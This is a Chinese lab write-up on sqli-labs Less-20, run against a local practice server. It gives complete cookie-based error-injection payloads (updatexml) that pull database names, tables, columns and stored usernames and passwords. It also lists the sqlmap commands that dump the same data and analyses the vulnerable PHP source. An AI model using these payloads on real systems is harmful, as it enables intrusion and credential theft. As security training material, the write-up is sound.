目录
一、测试环境
1、系统环境
2、使用工具/软件
二、测试目的
三、操作过程
1、寻找注入点
2、注入数据库
①寻找注入方法
②爆库,查看数据库名称
③爆表,查看security库的所有表
④爆列,查看users表的所有列
⑤成功获取用户名和密码信息
3、sqlmap注入方法
①爆库
②爆表
③爆列
④爆字段
四、源代码分析
五、结论
一、测试环境
1、系统环境
渗透机:本机(127.0.0.1)
靶 机:本机(127.0.0.1)
2、使用工具/软件
火狐浏览器的hackbar插件,版本:2.3.1;
Burp suite,版本:2024.7.2;
测试网址:http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-20/
二、测试目的
测试cookie的sql注入,使用报错注入出账户密码;使用sqlmap爆破,熟悉sqlmap的参数。
三、操作过程
1、寻找注入点
这关首先要知道正确的账号和密码,可以去前些关拿到账号和密码
(这里因为十七关是重置密码的页面,将密码重置为1了,需要原本的密码重置sql-labs的数据库即可)
登录失败,没有显示
成功登录会显示user-agent信息和cookie信息,注入点在cookie
2、注入数据库
①寻找注入方法
提交方式还是post,在cookie注入
抓个包查看cookie值
Cookie:
uname=admin;BEEFHOOK=dZVE2ik7R0liCsQfV7YllV89rzZglaxxEjqccbKOb7KxynsbZTYoiSVfNMwQWGGeOY5ne8wQwHdInD3D;PHPSESSID=djer5384u6itlu0bf88pct2165
使用hackbar传入cookie值,成功的可以使用
在admin后面添加一个单引号,出现了sql语句的报错
寻找闭合符号
拼接逻辑语句,判断闭合符号是否正确
闭合符号为单引号,逻辑语句正常,1=1时正常显示,1=2时,出现错误
uname=admin' and 1=1#;BEEFHOOK=dZVE2ik7R0liCsQfV7YllV89rzZglaxxEjqccbKOb7KxynsbZTYoiSVfNMwQWGGeOY5ne8wQwHdInD3D;PHPSESSID=djer5384u6itlu0bf88pct2165
uname=admin' and 1=2#;BEEFHOOK=dZVE2ik7R0liCsQfV7YllV89rzZglaxxEjqccbKOb7KxynsbZTYoiSVfNMwQWGGeOY5ne8wQwHdInD3D;PHPSESSID=djer5384u6itlu0bf88pct2165
拼接报错语句,查看数据库版本成功
uname=admin' and updatexml(1,concat(0x7e,substr(version(),1,31),0x7e),1)#;BEEFHOOK=dZVE2ik7R0liCsQfV7YllV89rzZglaxxEjqccbKOb7KxynsbZTYoiSVfNMwQWGGeOY5ne8wQwHdInD3D;PHPSESSID=djer5384u6itlu0bf88pct2165
②爆库,查看数据库名称
爆出所有数据库(只写了一条例子),示例:
uname=admin' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)#;BEEFHOOK=dZVE2ik7R0liCsQfV7YllV89rzZglaxxEjqccbKOb7KxynsbZTYoiSVfNMwQWGGeOY5ne8wQwHdInD3D;PHPSESSID=djer5384u6itlu0bf88pct2165
③爆表,查看security库的所有表
爆表,security表
uname=admin' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)#;BEEFHOOK=dZVE2ik7R0liCsQfV7YllV89rzZglaxxEjqccbKOb7KxynsbZTYoiSVfNMwQWGGeOY5ne8wQwHdInD3D;PHPSESSID=djer5384u6itlu0bf88pct2165
④爆列,查看users表的所有列
爆列,users表
uname=admin' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31),0x7e),1)#;BEEFHOOK=dZVE2ik7R0liCsQfV7YllV89rzZglaxxEjqccbKOb7KxynsbZTYoiSVfNMwQWGGeOY5ne8wQwHdInD3D;PHPSESSID=djer5384u6itlu0bf88pct2165
⑤成功获取用户名和密码信息
爆字段值,查看username和password字段的所有信息
uname=admin' and updatexml(1,concat(0x7e,substr((select group_concat(username,'^',password) from users),1,31),0x7e),1)#;BEEFHOOK=dZVE2ik7R0liCsQfV7YllV89rzZglaxxEjqccbKOb7KxynsbZTYoiSVfNMwQWGGeOY5ne8wQwHdInD3D;PHPSESSID=djer5384u6itlu0bf88pct2165
3、sqlmap注入方法
①爆库
这关是post传参,sqlmap爆破需要抓包将数据包保存,再进行爆破
Sqlmap稳定发挥,yyds
Burp右键选择copy to file保存(保存登录后的刷新包,含有cookie)
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --level=2 --dbs
使用python程序
-r 指定抓到的数据包文件
--level=2 这个等级会检测cookie是否含有注入
--dbs 是爆库的参数
②爆表
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --level=2 -D security --tables
-D 指定数据库,在这个数据库里找数据表
--tables 爆表的参数
③爆列
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --level=2 -D security -T users --columns
-D 指定数据库
-T 指定数据表
--columns 爆破列名的参数
④爆字段
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --level=2 -D security -T users -C username,password --dump
-D 指定数据库
-T 指定数据表
-C 指定需要爆破的列名
--dump 爆破字段值的参数
四、源代码分析
if(!isset($_POST['submit'])){$cookee = $_COOKIE['uname'];$format = 'D d M Y - H:i:s';$timestamp = time() + 3600;echo "<center>";echo '<br><br><br>';echo '<img src="../images/Less-20.jpg" />';echo "<br><br><b>";echo '<br><font color= "red" font size="4">'; echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];echo "</font><br>"; echo '<font color= "cyan" font size="4">'; echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR']; echo "</font><br>"; echo '<font color= "#FFFF00" font size = 4 >';echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";echo '<font color= "orange" font size = 5 >'; echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);echo "<br></font>";$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";$result=mysql_query($sql);if (!$result){die('Issue with your mysql: ' . mysql_error());}$row = mysql_fetch_array($result);if($row){echo '<font color= "pink" font size="5">'; echo 'Your Login name:'. $row['username'];echo "<br>";echo '<font color= "grey" font size="5">'; echo 'Your Password:' .$row['password'];echo "</font></b>";echo "<br>";echo 'Your ID:' .$row['id'];}else {echo "<center>";echo '<br><br><br>';echo '<img src="../images/slap1.jpg" />';echo "<br><br><b>";//echo '<img src="../images/Less-20.jpg" />';}echo '<center>';echo '<form action="" method="post">';echo '<input type="submit" name="submit" value="Delete Your Cookie!" />';echo '</form>';echo '</center>';}
1.error_reporting(0);函数,关闭了php代码的所有错误报告。
2.将cookie中的uname作为获取变量执行了select语句,出错会执行报错函数。
3.这关会弹出cookie信息,用户名密码信息等,使用报错注入得到结果。
五、结论
寻找注入点的步骤十分重要,找到注入点和闭合符号之后的测试就顺理成章了。
Post类型sql注入,注入方式要完整提交post参数,其他步骤与get类型一致。
寻找闭合符号要有耐心,需要不断地尝试。
用sqlmap的话,需要指定抓到的数据包,也需要指定level,爆破cookie需要level 2。
这关使用报错注入得到结果。